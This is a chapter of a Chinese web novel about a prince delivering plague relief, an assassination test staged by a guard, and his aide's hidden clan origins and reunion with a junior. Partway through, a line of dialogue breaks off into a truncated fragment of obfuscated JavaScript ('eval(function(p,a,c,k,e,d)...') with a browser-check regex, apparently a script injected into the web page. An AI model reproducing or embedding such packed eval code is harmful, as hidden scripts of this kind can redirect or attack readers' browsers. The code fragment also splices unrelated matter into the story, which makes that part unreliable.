回到利州城中,安置了粮食和灾民,邹瑅带来的龙武军也只剩下两个。 邹瑅本来打算连夜将药材送到怀鹤乡,但又下起了小雨,朱轶也说去怀鹤乡的路不好走,一定要连夜赶过去,得来不易的药材恐怕会有所损失。 无奈,邹瑅只能在利州城中休息一晚,第二日再带着药材与五千石粮食前往怀鹤乡。 怀鹤乡是大乡,原本有近三万的人口。 疫病最先是在怀鹤乡鹤尾村爆发,那时官府大多自顾不暇,没人意识到这是疫病,等反应过来的时候,已经死了好几千人,整个怀鹤乡无一幸免,连附近几个村落都被波及了。 朱轶等人这才慌了,连忙派府兵把握怀鹤乡通往外界的所有出口,又将人集中几个靠近山林的村落中,打算乱箭射死以绝后患。 还是附近几个医者听闻于心不忍,舍命请愿前往救治,才拖延了些时日。 没过几天,主动请愿前往的医者死了大半,怀鹤乡三万人也只剩下两万不到。 染病的百姓越发恐慌,官府自顾不暇,也不再给他们送食物,为了一线生机,不少百姓趁夜冒雨逃窜,虽大多都被府兵及时发现抓了回来,但有两人逃到隔壁乡的城池中,又传染了一大批人,连接触过的部分府兵都染上了疫病。 朱轶等人再不敢等,当即重新架好弓箭,邹杲赶到的时候,他们已经放箭射死了七八百人。 邹杲亮出身份,又让手下按住了朱轶,朱轶等人才不得不听从邹杲的指令,将活着的百姓都聚集到怀鹤乡城中,并召集更多医者前往救治,等待朝廷的救援。 这些,朱轶自然不敢对邹瑅说起,邹瑅也还不知道,不然也不能对朱轶有好脸色。 如今,又是七八日过去,怀鹤乡中只余下一万三四千人不到。 * 天蒙蒙亮,邹瑅等人就出发了,天色黄昏,才依稀看到怀鹤乡的城池。 邹瑅当即下令加速,终于在天黑之前,一行人赶到了城门口。 守城的校尉当即上前来,他不认识邹瑅,但见朱轶阿谀的模样,也大概猜出他的身份。 “大人,”他先向朱轶行礼,又看向邹瑅,朱轶当即笑呵呵介绍,“殿下,这是犬子朱兴贤。兴贤啊,这位是我朝三皇子殿下,也是本次的安抚司尉。殿下神通广大,昨日才从浩然山庄运来了三万石粮食和十车药材,殿下体恤你等与城中百姓,今晨又亲自押运五千石粮食与五头活猪过来给你们。” 不止朱兴贤,连附近的人听闻都是一喜。 自灾涝以来,别说肉,连油盐都稀缺,每日喝的糠粥之中能有点盐味,他们就都感恩戴德了。 朱兴贤连忙跪下行礼,“下官朱兴贤见过三皇子殿下,谢殿下体恤我等。” 邹瑅快步上前将人扶起,“这些虚礼都免了,快同我说说怀鹤乡的情况。” 朱轶一个眼神暗示,朱兴贤连忙起身,挑能说的说了起来。 “应郡守大人的号召,昨日又来了一批医者,其中一名女医者医术了得,服用过她开的汤药后,死亡人数比起上一日,减少了一半不止,” “女医者?”邹瑅有些意外,“多大年龄,可否知道其姓名出身?” 朱兴贤摇头,“尚还不知,看容貌,她最多二十。” 他又说:“也正因为她太过年轻,我等一开始都不敢放她进去,毕竟是一条人命,但她开了一副药,让我们拿给城中的老医者看,老医者们看过大受震撼,如此,我们才开门迎她进去。” 邹瑅点头,“开城门,我亲自进去看看。” 此话一出,除了随邹瑅来的人,在场其余人都是一惊。 朱轶连忙劝道:“殿下,不可啊,殿下。那女医者的药方虽勉强抑制住了疫病,但殿下万金之躯,怎能冒险。” 朱兴贤也劝道:“殿下,这雨眼看就快停了,之后还需您指教我等救灾治水,您万不能为了怀鹤乡这万余人而舍弃利州几十万人啊!” 朱轶又说:“殿下出身不凡,有上天庇佑,我等出身低微,不敢与殿下媲美,若不幸染病,便再不能为殿下效力,” 邹瑅皱眉打断朱轶,“不用你等陪同。” 他让众人看到子瞮,强硬又说:“子瞮虽为我朝典客,却师承江湖赫赫有名的蛮菩萨,有子瞮与那位女神医强强联手,定能拯救更多百姓,你们不要再多说,开门就是。” 子瞮对两人笑笑,同时从怀中拿出早就备好的加厚面纱给邹瑅戴上。 朱轶与朱兴贤一番眼神交流,再一看整装待发的邹瑅,朱兴贤只得去下令开门。 邹瑅又看向两名龙武军,“你二人带人去将猪都杀了,熬成肉汤之后分给守城将领与城中百姓。” 两人齐声回应,声音之洪亮威武,朱轶与朱兴贤身形皆是一震,刚冒出的坏心思也被震了个粉碎。 目送邹瑅与子瞮进城远去,又看向远处一刀劈下猪头的两名龙武军,朱轶与朱兴贤身躯又是一震。 “父亲,怎么办?那些贱民一定会添油加醋抹黑您,待他出来,别说官位,我父子二人恐怕小命都难保。” 朱兴贤靠近一些,脸色阴狠,“父亲,他带来的人再厉害,也只有两个,只要您一声令下,儿子亲自带兵进城杀了他们,过几日,您再上报,就说他们不听劝阻,非要接触疫患,不幸染上疫病身亡,有鄂阳的贵人周旋,我父子二人至少性命无忧。” 朱轶有瞬间的心动,但很快他好像又想到了什么,摇头道:“常胜王不知道藏在何处注视着我们,他知晓内情,要么不动手,要么连同他一起杀掉。” 朱兴贤担心道:“可若邹瑅出来后就撤了您的官位、将您关押起来该怎么办?” 朱轶沉思许久,才道:“强龙压不过地头蛇,他不会不懂,只要他记挂利州百姓,在灾祸过去之前,他应该都不会对我动手。” “可是……”朱兴贤还要再说,但被朱轶抬手喝住,“好了,不要再说了。其余的,为父自有打算。” * 怀鹤乡城中,子瞮提着灯笼,邹瑅拿着地图,两人一边走一边讨论。 子瞮提醒道:“殿下,朱轶与朱兴贤不太对劲,常胜王出现之前,他们或许已经对染病的百姓出了手,只怕他们会在城中对您动手。” 邹瑅步伐坚定从容,“应该不会。” 子瞮不解,“殿下因何如此肯定?” “阿杲一定还未离开。”邹瑅说这话语气很是轻松。 子瞮沉默了,邹瑅没察觉他的异样,笑着又说:“阿杲能让朱轶妥协听话,手段一定不简单,可能带了不少高手在身边。阿杲已经知情,却不露面,或许就是要让朱轶忌惮他,然后乖乖听我的话,配合我先治理灾患。只要阿杲一日不露面,我睁一只眼闭一只眼不将他逼太狠,他就一日不会更不敢狗急跳墙。” 邹瑅突然停下脚步,回头看向子瞮,满脸的担忧,“明日我就得赶回利州城中带人梳理水道,留你一人在这怀鹤乡中,我这心里有些放心不下,不然,还是让孙忠两人跟着你吧。” 孙忠是其中一名龙武军的名字。 子瞮又是一惊愣,随即笑道:“我一个籍籍无名之人,全仰仗殿下与陛下苟活,对他们来说没有任何威胁,只要殿下安全,我就安全,所以,还是按照原计划,让孙忠二人随殿下您离开。” “可你手无缚鸡之力,操劳过度,恐怕翻动病患的力气都没有。”邹瑅说着,不等好笑又无奈的子瞮反驳,他又说,“这样吧,一人留下照顾你,一人陪我离开,等回到利州城中,我再调两人到我跟前,这样,你我都更安全,我也更安心。” 子瞮无奈笑道:“殿下都决定好了,何必和我商量呢。” 邹瑅耍无赖笑道,“我才不是早就决定好的,是刚刚和你讨论的时间里,我临时想到的,而且,我也是担忧你的安危。” 子瞮更觉无奈,“是,臣谢殿下关怀。” 两人笑着继续往前走。 病患被统一安置在东北角一座私人大宅院中,接触过病患未染病的则分散在东北角以外的区域。 城中没有府兵看管,两人边走边看,有不少人听到动静,但大多只是麻木看他们一眼,便又收回了视线,几乎没找到一个还对他们抱有好奇心的。 最后,两人进入了怀鹤乡府衙,里面的人举得相对多,但条件简陋,大多席地而睡,条件好点的才有草席和破布烂衣以作隔档。 他们都已经躺下,大多是一个人缩成一团,极少数三三两两蜷缩在一起,有没睡着的听到动静,转头看过来,昏暗的烛火下,那如出一辙、麻木空洞的眼神令人不忍。 绕了一圈,终于有一个大肚子的妇人起身,满含热泪看着他们。 邹瑅做了个噤声的动作,不顾子瞮的阻拦,取下面罩,快步走到那位怀有身孕的妇人面前。 “婶子,我是从鄂阳那边来的安抚司尉,这位是子瞮医师,你是有什么话想对我说吗。” 妇人仰头看着他,泪流不止,低声抽泣。 邹瑅凑近一些,才听清她呜咽声中断断续续的话语,“都死了,我的公婆、丈夫、儿女都死了,那些当官的放箭杀死了我家所有人,” 虽然早有猜测,但亲自听到,邹瑅和子瞮的心情还是很沉重。 她突然伸出枯瘦的双手,死死抓住邹瑅的手腕,“报仇,你能不能帮我报仇,求求你了,帮我报仇,帮我报仇……” 子瞮一惊,当即要上前扳开妇人的手,但被邹瑅阻止了。 邹瑅温柔反握住妇人好像稍一用力就能折断的手,一边给她顺气,一边温声说:“好,我答应你,我一定会帮你报仇。” 妇人却突然甩开他的手,整个人往后缩了好远,“你也是当官的,你们互相勾结,你才不会帮我,你一定是来杀我的,你们要灭口,救命,救命,当官的放箭杀人还要灭口,救命,救救我!” 她发出的声响引起了附近一群人的注意,妇人窝在角落,但听到她如此恐慌,还是有几个年轻男女上前用自己的身躯护住她,还有几个男人找来了木头做武器,大有邹瑅和子瞮真敢杀人,就要和他们拼命的意思。 邹瑅只得停下上前的脚步,站在原地温声安抚,“我们身上没有任何武器,怎么可能是来杀人灭口的,大家先冷静下来听我说。” 躁动的人群缓和一些,邹瑅连忙道:“我们是从鄂阳皇城赶来的,皇上派我们来,是为了帮助大家重建家园,而不是和利州本地这些为非作歹、草菅人命的官员官官相护的。” 见众人还是不信,他又扯下腰间的金牌,“看,你们上前来仔细看,这是我的身份令牌,我是大嬴的三皇子邹瑅,陛下派我亲自过来,足以证明他对利州百姓的重视。” 真有老者颤颤巍巍上前仔细打量他手中的身份令牌,邹瑅直接将令牌交到老者手里,让其拿着仔细查看。。 老者看了又看,虽不确定,但还是对大家说:“嬴国以玄鸟为图腾、尊始皇为祖龙,我虽没见过嬴过的皇子令牌,但这金牌上的双玄鸟和巨龙雕工繁复、栩栩如生,应该不是假的。” 人群中有人痛哭出声,“我们真的有救了吗?” 又有人哀怨道:“你们怎么才来啊,死了那么多人,你们怎么那么久才来……” 这话直接痛击了邹瑅的内心,他真的尽力在赶路了,但路途遥远,又有暴雨阻拦,他真的没办法。 子瞮轻轻拍了拍邹瑅的手臂,对众人道:“鄂阳距离利州太过遥远,自殿下带我们从鄂阳出发开始,便不敢有片刻的懈怠,但暴雨导致山体垮塌,很多道路都被封堵,能在十一日内从鄂阳冒着暴雨赶到利州,殿下已经尽力了。” 他们大多没离开过怀鹤乡,知道鄂阳远,但不知道具体多远,不过也有见多识广的,比如查看令牌的老者。 老者将令牌双手捧着还给邹瑅,邹瑅才接过,他就噗通一声跪了下去,“还请殿下为我等做主!” 越来越多人温声往这里聚集,周围跟着跪倒一片。< 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哭泣的人一顿,邹瑅连忙又说:“此次前来,除了药材,我还给大家带了五千石粮食和五头肥猪来,朝廷拨来的粮食也会陆续送过来,大家一定不会被饿死。你们仔细闻,城门外正在杀猪熬肉,等肉熬好,龙武军会带进来分给大家。” “肉!?” “我们真的能吃上肉吗?” 众人欢喜却不敢相信,随即就是无边的怀疑。 “可以的,我以我皇子的身份保证,大家都能吃上肉。”邹瑅道,“不仅今晚,之后我也会努力给大家送更多粮食和衣物过来,让大家都吃饱穿暖。” 邹瑅后退半步,让出子瞮,“子瞮医师也会竭尽全力救治病患,只要控制住疫病传播,过不了多久,我就能亲自送大家回家去。” 终于有人痛哭出声,他们压抑了太久,其中不少人亲眼看着亲人朋友在面前死去,从期待,到惶恐,到麻木,真的有太多痛苦委屈。 或许这个人说的也是假的,但他们需要希望来激励自己,不然真的很难坚持雨过天晴的那一天。 邹瑅没时间挨个安抚,“我大概知道你们经历了怎样非人的遭遇,但请你们相信我一次,再坚持坚持,一桩桩一件件,我都会给大家一个交代。” 最开始那名妇人爬起来流着泪,跌跌撞撞走向邹瑅,邹瑅一惊,连忙上前接住她。 她哭得更难过,却哽咽着说:“你的眼睛像我八岁的女儿,我相信你,我会努力活下去的。” 有一就有二,陆续有人出声,他们的眼神声音,比起之前,都多了些情绪起伏,坚定也好、质疑也罢,这才是活人该有的状态。 邹瑅平复一下心情,耐心回复了几人的质疑,才又问:“城中没有府兵维持秩序,那你们每日饮食如何解决?接触过病患但未感染的人大概有多少,都在这里了吗?” 一老妪有气无力答:“城外的官爷会煮好米粥放到城门口,然后敲锣提醒我们去拿。” 一年轻女子哭道:“他们给的米粥连谷壳都未磨碎,说是粥,实际一桶粥不过只有两三碗谷子,没人维持秩序,我们这种瘦弱的和老人幼儿根本抢不到什么吃的,要不是三日前受常胜王庇护吃了顿饱的,我和爹爹可能都已经饿死了。” 邹瑅这才看到,女子身边那个才到她腰间的中年男人并非跪着,而是腿断了,这是他能达到的最高高度。 环顾一圈,也才注意到,的确是强壮的更强壮,瘦弱的更弱小。 外围那些强壮的男子对上邹瑅的视线,一个个都低下了头去。 但也有人挺起胸膛吼道:“每日就那么点食物,我只是想活下去,我有什么错,你们凭什么用这种眼神看我,我靠个人本事所得,你们凭什么看不起我!” 眼见男子情绪更加激动,邹瑅连忙出声道;“想活下去没错,之前是形势所迫,再追究没有任何意义。” 闻言,男子激动的情绪才被压制一些。 邹瑅又说:“但是,老吾老以及人之老,幼吾幼以及人之幼,我们所有人都是从幼童过来,也都会有老去的那天,作为青壮,我们应该力所能及保护老弱妇孺,只有这样,我们的族群才不会真正灭绝。” 男子低头不语,邹瑅看向男子,“你识字吗?” 男子一愣,好一会儿才抬起头弱弱说:“识得一部分。” “好。”邹瑅又看向刚刚哭诉的年轻女子和子瞮搀扶着的老者,“那这个重任就交给你和那位姑娘以及这位老人家了。” 三人都是一愣,虽然不知道是什么重任,但都有些受宠若惊。 “统计人数,选拔帮手,今后,做饭与发放吃食的重任就交给你们自己了。”邹瑅看了眼面前怀孕的妇人,才继续又道,“可以酌情给需要的人多一些,但每日每人至少要有两碗稠粥。” 众人都是又惊又喜,不敢相信以后每日可以吃上两碗稠粥。 “我虽将此重任交给了他三人,但所有人都可以监督,若他们敢中饱私囊,你等均可告知子瞮医师,确定情况属实,我会亲自过来依法处置。” 众人欢喜出声,直呼‘殿下万岁’,还围得更拢了些,要不是饿得没什么力气,都想将邹瑅高高举起。 邹瑅连忙止住大家,又说:“这城中一定还有不少衣物被褥,很快就会雨过天晴,闲暇时间,青壮们可以组队去将能用的衣物被褥扒出来清洗干净,晾晒之后,也能解决夜晚寒冷、难以入睡的问题。” 又有不少人高声应好,甚至有人恨不得现在就去行动。 变故也是这时候出现的,邹瑅后方,一男子突然暴起,手握一把匕首朝邹瑅后脖颈刺来。 面对邹瑅的人都是大惊失色,连忙出声提醒,等邹瑅看到回头看过去时,那匕首距离他已经不过几寸远。 以邹瑅的身手,完全可以闪身躲开,但他面前是那位孕妇,他若是让开了,孕妇不死也要受伤。 一时间,几乎所有人的心都悬到了嗓子眼。 55.辽炀卷·第十章 10 嘭—— 右边突然横插出一条长腿,不偏不倚,刚好踢在那刺客腰间,刺客不防,呈抛物线被踢飞出去,越过人群撞在墙壁中。 不等众人看清楚是什么人出手,一道白色的身影闪过,只听一声惨叫,那刺客已经被白色身影按住了手脚,动弹不得。 众人也终于看清及时出手那人的真面目,所有人都感到不可思议,尤其是邹瑅。 许久,邹瑅才勉强喊出那个喊了无数遍的名字,“……子瞮——” 早在出手之前,子瞮就经过了激烈的心里斗争,也预想了出手之后的后果,但对上邹瑅看陌生人般的视线,他心中还是难过异常。 但他不后悔,他宁愿自己三年的努力毁于一旦,也不想看到邹瑅有散失。 他也抱着侥幸心理,或许此刻暴露,他自愿的、被迫的,所做的一切就都能够中止,这样一来,不止是他一人,邹瑅、师父、师妹……大家也许能离危险更远一些。 两人沉默间,被子瞮压住的男人嬉笑出声,“殿下,小人杜英亮,奉常胜王命令,特意在此等候您。” 此话一出,邹瑅和子瞮又都是一惊。 人群自觉让开,邹瑅快步走到两人面前。 他正欲蹲下,子瞮便担忧提醒,“常胜王的亲信,殿下不可能没印象,更不可能对殿下出手,殿下小心有诈,” 说着,还将身下人按得更紧一些。 邹瑅警惕一些,先转身走向男人用来行刺他的匕首。 杜英亮又道:“小人是否为王爷的人,殿下一看匕首便知。” 他说话间,邹瑅也将匕首捡起,只一眼,他便确定了杜英亮的身份。 子瞮闻声看去,虽看得不是很仔细,但心下也是一沉。 这把匕首原本是成武帝亲赐给邹瑅的,邹瑅很喜欢,贴身佩戴了好多年,子瞮刚来的时候,邹瑅甚至宝贝得都不给他碰。 班师回朝的路途中,邹瑅和邹杲独自骑马出去了一趟,回来时匕首就已经挂在邹杲腰间了。 连成武帝都没有过问,子瞮更是不会、也不能多嘴。 邹瑅背对他们,盯着手中的匕首低低道:“子瞮,放开他。” 子瞮不得不放开。 杜英亮利落起身,一边揉捏被他弄疼的手腕,一边冲子瞮挑衅笑了笑,而后故意擦着子瞮的肩膀,大步走到邹瑅面前跪下,“王爷担心朱轶等人狗急跳墙,特令小人领二十人潜入城中等候,护殿下周全。” 话音未落,人群中陆续有高大健硕的男人走到杜英亮身后跪下自报姓名。 等所有人都在邹瑅面前露面,杜英亮才又说:“为让殿下看清身边人真面目,小人不得已冒犯殿下,还请殿下恕罪。” 邹瑅看向杜英亮等人,许久才出声问道:“这也是阿杲交代你们的?” 杜英亮答得肯定,“是的。” 他抬眼看向背对邹瑅、躬身站立的子瞮,又道:“据兄弟们多日观察发现,典客大人不但武功极高,还时常在深夜出入二皇子、睿王、左丞相以及诸多大臣的府中,典客大人出身又成谜,王爷担心殿下一时不察被害,特令我等将典客大人的真面目告知您。” “我知道了,你们起来,去外边等我。” 闻言,杜英亮一愣,当即又道:“王爷说了,若殿下遭遇不测,小人们全家以死谢罪,还望殿□□谅,让小人们片刻不离跟在殿下左右。” 邹瑅回头看向子瞮的背影,声音低落但十分肯定,“子瞮不会害我,你们先出去。” ‘出去’二字已经是呵斥的语气了,杜英亮等人不敢不从,很快退了出去,扒在护墙上候着。 见邹瑅和子瞮沉默许久不言语,老者出声劝道:“知音难觅,殿下与医师大人皆信任彼此,为何不将苦衷告知对方,莫要等到背道而驰,再无法挽救,才追悔莫及啊!” 此话一出,也有百姓七嘴八舌附和,他们大多没学识,说不出什么大道理,但举的例子却很贴切。 两人在众人的劝说下,遥相对望,却在对视的瞬间,更加复杂难言。 邹瑅收起匕首,又出声安抚众人几句,这沉默着先一步离开走在前面。 子瞮脚步犹豫,不知道要不要跟上去,被老者推了推,才踉跄着跟上去。 邹瑅才走出去,杜英亮等二十人便黑压压聚到邹瑅面前。 邹瑅看得心烦,杜英亮一声殿下还没喊出口,邹瑅便冷言命令道:“你等既是暗卫,便潜到暗处去,没有我的命令,任何人不得出现在我眼前。” 杜英亮迟疑了,刚组织好的反驳的话还没说出口,邹瑅又厉声道:“怎么,你们眼中只有常胜王,没有我邹瑅分毫吗?” 众人大惊,连忙跪下。 “殿下言重,我等虽为常胜王培养,却是为大嬴效力,我等只是担心殿下安危。”杜英亮又说,“殿下息怒,我等这便潜去。” 说罢,他带头跃到两边的屋顶之上。 只听唰唰几声过后,一切都安静了下来。 邹瑅抬腿走了两步,听到子瞮的脚步就跟在身后半丈不到的距离,邹瑅也就没有回头,只继续缓步走在前面。 走了差不多一条街,邹瑅才冷冷出声:“子瞮,” 子瞮身形一僵,当即停下了脚步。 邹瑅一听更不悦,但也停下脚步,背对他继续冷声又道:“你就没有什么要和我说的吗?” 子瞮呼吸一滞,片刻才回过神来,噗通一声跪了下去,“臣……小人自知罪孽深重,不敢求殿下原谅,殿下要杀要剐……” 话没说完,一双锦靴占据了他全部的视野。 紧接着,一只熟悉的大手捏住他的下巴,强硬让他抬起头来,让他不得不直视邹瑅难过的双眼。 邹瑅一开口声音有些哽咽,连忙清了清嗓子,才还算平静将想说的话问出口。 “我问你,你对我有几分真情?” 子瞮看向邹瑅,眼中也蓄满了泪水,肯定的回答已经到了嘴边,但他就是开不了口。 邹瑅等到绝望,另一只手粗暴抹去不争气的眼泪,冷声又问:“你会武功的事,父皇知不知情?” 这次子瞮没让他等太久。 “知情,殿下将小人捡回去的第三十七天,陛下就知道了小人的全部信息,正是得到了陛下的准许,小人这才侥幸得以跟在殿下身边。” 这话一出,邹瑅又绷不住了。 他一个深呼吸,这才压制住怒意放开子瞮,他欲言又止,但却只是转过身大步往前走去。 子瞮一惊,连忙起身跟上,“殿……” 称呼只叫出一半,邹瑅却又猛地转身紧紧箍住子瞮的双肩。 “为什么?”邹瑅哭着追问,“为什么你们都要这样?为什么什么都不告诉我,我就那么差劲吗?啊!” 他说着大哭出声,整张脸像小孩一样,埋在子瞮的肩颈处。 子瞮只觉心脏被人攥着,蹂躏得生疼。 他的手抬起却不敢放下,许久才敢犯上出声安抚,“殿下很好很厉害,不告诉殿下,是因为不想殿下被这些琐事烦扰,我是这样,我想皇上和常胜王也是这样。” 邹瑅哭得更委屈,子瞮不敢再说,只能定定站着,等邹瑅自己调理。 果然,不多时,邹瑅抬首转身,背对他擦干眼泪,才又转过身看向他。 “子瞮,别再让我像傻子一样蒙在鼓里了。” 他就那么看着子瞮,完全是乞求的神态。 子瞮别过视线想不去看他,但邹瑅也算被成武帝和邹杲娇宠着长大,撒娇对他来说手到擒来,甚至是下意识的反应。 他像一条眼巴巴的小狗,跟着人的移动视线小幅度的转动,泪汪汪的双眸直勾勾看着人,让人完全狠不下心来。 子瞮妥协了,他缓缓道:“我的确无父无母,却并非不知自己姓氏,我本名鬼瞮,字子瞮。” 邹瑅当即检索到关键词,“虚无孤岛,鬼族?!” 子瞮点头,“正是,”他神色复杂看向邹瑅,“殿下既然知晓鬼族,想必也知道鬼族的由来。” 邹瑅点头,子瞮扯动嘴角笑了笑,“殿下这么聪慧,我的目的,也不用再多说。” “你想让父皇宽恕鬼族的罪过?”见子瞮点头,邹瑅继续试探又问,“想带领鬼族人重新回到陆地上生活?” 子瞮再次点头,邹瑅却面露难色,“鬼族当年犯下的罪过简直罄竹难书,若不是鬼族,我大嬴或许也不会分裂数百年之久,父皇一定不会轻易答应你的。” “是啊。”子瞮苦笑道,“但皇上给了我赎罪的机会,这就已经很好了。” 邹瑅见此,不由得心疼起他来。 他抬手按住子瞮的右肩,安抚捏了捏,子瞮抬头望向他,邹瑅为难,但还是保证道:“我相信你,所以也愿意相信你的族人,只要有机会,我也会帮你劝说父皇的。” 子瞮发自内心的笑容绽放在温文尔雅的脸上,给人如沐春风的感觉,“多谢殿下。” 邹瑅坦然笑道:“这有什么好谢的,我还没帮你办成呢。” “有殿下这句话就够了。”子瞮笑着说。 邹瑅被他看得有些脸红,子瞮给他的这种被人完全信赖仰慕的感觉,真的很容易让他上瘾,然后飘飘然。 邹瑅当即别开视线,快步走在前面,“好了,先办正事。” 子瞮温声应好,步伐轻盈跟在他身后,提着灯笼为他照明。 * 东北角是一座名为钱宅的宅邸,占地面积很大,依旧没有府兵看守,也没什么光亮,全靠月亮照明,府门从外面被钉上,只有左边地上放了一个梯子。 邹瑅愉悦的心情一扫而空,一时愤怒不已,几步上前就徒手去扳那钉得严实的木板。 “殿下,”子瞮一惊,环顾四周捡起两个石头,快步上前将其中一块递给他,“殿下,先把面罩戴上,然后用这个。” 邹瑅笑了笑,“好。” 两人戴上面罩,将照明的灯笼固定住,拿着石头一左一右敲砸起来,好半天,厚实的木板才应声断裂。 两人大喜,对视一眼,更加卖力。 很快,剩下几块木板也被两人砸开。 子瞮取下灯笼,邹瑅推开门,门开的瞬间,门内外的人都是一愣,许久没人说出话来。 不用多说,门外自然只有子瞮和邹瑅。 门内则是几个听到动静提着烛火过来查看情况的医者。 他们也都全副武装,口鼻都被各式面罩严严实实遮挡起来。 让子瞮和邹瑅愣住的是为首那名清冷的女子。 女子穿着最朴素的蓝布衣衫,是大多数农家女子常见的打扮,身上没有任何珠玉首饰,但她周身散发出的清冷脱俗的气质和那双水汪汪的大眼睛就足够让人惊艳。 邹瑅愣住,便是被她那双漂亮的眼眸夺取了全部的注意力。 和邹瑅的惊艳不同,子瞮是因为女子的容貌与此刻的穿着打扮。 他嘴唇张了又闭,话到嘴边还是没说出来。 女子显然也认出了他,出乎他意料的,女子眉眼弯弯,对他笑了笑。 这一笑不得了,邹瑅更加失态,眼睛都看直了。 活了二十二年的邹瑅第一次切身感受到那种情绪,那种听他们描述来的,有关情爱时,不受控的,胸口扑通扑通直震,仿佛心脏要跳出来的感觉。 其余医者也反应过来,有一人警惕出声问道:“你们是?” 不等他们回答,女子笑着朝子瞮挥手,又柔声喊道:“子瞮师兄,好巧,好久不就!” 又俏皮对身后众医者说:“不出意外,他们应该是朝廷派来赈灾的官员。” 邹瑅惊愕难掩欢喜,“子瞮,你与这位姑娘认识?” 子瞮也反应过来,第一次没理邹瑅,而是皱眉问女子,“小灵,你怎么会在这里,还有你……” 他眼神上下动了动,将女子全身打量了一番,很是诧异,但外人太多,只能生生忍住。 女子却坦然从容,“我外出游历,听说此处爆发了疫病,就赶了过来。” 又有医者问:“纪姑娘,你如何确定他们就是朝廷派来赈灾的官员的啊?” “纪姑娘?”子瞮更加困惑。 女子没解答子瞮的困惑,但笑不语,伸手指向邹瑅的腰间,回答医者的问题。 她瘦长的手指指向之处,赫然是邹瑅那枚代表身份的沉甸甸金牌。 几人中有一人是利州府医,一眼认出了邹瑅的身份令牌,当即跪下行礼,“小人利州府医林旭,见过皇子殿下。” 其余人见状也跪了下去,女子自然也与跟着一起。 邹瑅反应过来,连忙上前想扶女子起来,手都伸出去了,又觉得不合适,只尴尬后退几步,咳嗽一声后正色道:“大家救治病患都辛苦了,先起来吧。” 他装模作样看向女子,眼神却控制不住躲闪,不敢直视人家,说起话来也磕磕巴巴。 “想必姑娘就是朱校尉所说的哪位舍生取义、成功控制住病情的神医了吧,敢问姑娘名讳,师承何人?” 女子对上他就没了面对子瞮时的热情,她淡淡道:“殿下谬赞,我昨日开的药只能减缓疫病发作,并不能根治。” 又说:“我名纪灵,子瞮师兄的师父是我的亲伯父。” 纪灵的区别对待让邹瑅心中有些失落,但他更觉震惊,“蛮菩萨是你的亲伯父?据我所知,蛮菩萨本名姓毒而非纪。” 子瞮压下满腔的疑惑,抢先在邹瑅耳边提醒道:“毒赋这个名字是师父加入暗秋城时所取,并非本名,小灵也的确是我师父的侄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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子瞮看看他,又看向邹瑅,有些犹豫,还是邹瑅笑道:“子瞮放心同纪姑娘去吧,希望你师兄妹二人强强联手,早日救怀鹤乡众民脱离苦海。” “借殿下吉言,我与师兄会努力的。”纪灵娇俏对邹瑅说罢,欢喜上前拉住子瞮的手,撒娇道,“殿下都这么说了,快同我走吧,师兄~” 都被纪灵拉着走出去好几步,子瞮又回头看向邹瑅,见邹瑅笑着挥手示意他快去,他也只得转身跟上纪灵的脚步。 * 应该是为了方便熬药,纪灵等几位医者直接住进了医院的厨房。 纪灵现在住的房间原本是柴房,只是搬来了一张床和一张桌子,给她提供休息和书写的地方。 子瞮先进入房中,等纪灵关上门转过身来,子瞮便忍不住接连问道:“鬼机灵,这是怎么回事?你救人我能理解,但你一人行走江湖,为何要男扮女装、化名纪灵?还有你的声音,怎么那么像女子?是鬼爷爷派来你做什么的吗?现在的形势太过危险,这些事也不该你来做,等疫病稳定了,你赶紧回虚无岛去。” 纪灵,本名鬼机灵,也正是困扰了李棋许久的那个弟弟。 他取下了脸上的面罩,露出一张清丽的脸来。 子瞮只觉陌生,感觉面前的人完全就是一个女子,但他的五官又几乎是等比放大,尤其是一双大眼,简直和小时候如出一辙。 他依旧是笑着的,甚至有些天真,两步上前踮脚摘下子瞮的面罩,然后后退两步,笑着看着他,说出的话却直击子瞮灵魂。 “子瞮哥哥又在做什么?小七姐姐梁国公主的身份和画像怎么会传得江湖人尽皆知?爷爷交代给了你什么任务?我伯父现在在哪里?你既然知道形势危险,为什么还要带着小七姐姐卷入其中?你有想过小七姐姐和你的安危吗?有想过你们之后该如何脱身?” 娇俏的女声说着说着转变为清亮的男声,语气依旧温和平缓,却问得子瞮一句话说不出来。 许久,子瞮才抬头看向鬼机灵,保证道:“小七不会有事。” 他顿了顿,严肃又说:“其余的事,你不要管也不要问,你要是还认我这个哥哥师兄,就赶紧回虚无岛去。” 鬼机灵摇头,声音又变成了娇俏的女声,“子瞮哥哥什么都不和我说,也就不要管我的事了。” 他又道:“我本来也是女子,穿女装、用女声说话,以女子纪灵的身份行走江湖也都是我的自由。” 这些话子瞮听明白了,却一句话都不理解。 他不由得看向鬼机灵的脖颈,象征男子身份的喉结虽然小巧不明显,但的确有。 继续往下,那微微隆起的胸部让他迷茫,很逼真的轮廓弧度。这难道不是伪装出来的吗? 鬼机灵注意到他的眼神,更加挺了挺胸膛,“子瞮哥哥是想亲眼看看我的身体吗?” 他说着,千娇百媚笑了笑,伸手就要去解开腰带。 子瞮一惊,想到小时候的鬼机灵从来不和他或者李棋一起如厕、甚至连一起玩水都小心翼翼的往事。 虽然心中存疑,但他不敢不防备,连忙上前按住鬼机灵的手,“小灵,别这样。” 鬼机灵抬头看他,调笑道:“子瞮哥哥还是一如既往的难搞,总是这也不行,那也不行的。” 一瞬间,子瞮感觉是一位妙龄女子在引诱他,他大惊,慌乱后退两步,“小灵!” 鬼机灵此刻的嘴脸却称得上阴冷,他冷笑道:“子瞮哥哥知晓我的真实面目后,也觉得我是怪物,也不想理我了是吗?” “小灵,我不是这个意思,不管你是男是女,你都和小七一样,是我最重要的弟弟妹妹,如果必要,我会豁出性命保护你们……” 话音未落,鬼机灵转身打开房门,冷声逐客,“我要休息了,请你出去。” “小灵……” 子瞮还打算再和他好好聊一聊,但鬼机灵没给他说话的机会,大力将他推出门去,又将面罩扔给他,然后重重关上了房门。 子瞮在鬼机灵房门外矗立许久,只觉沉重异常,巨大的无力感将他裹挟,让他喘不过气来。 他多想就待在此处护着鬼机灵,其余什么事也都不再去管,但事已至此,他不得不继续。 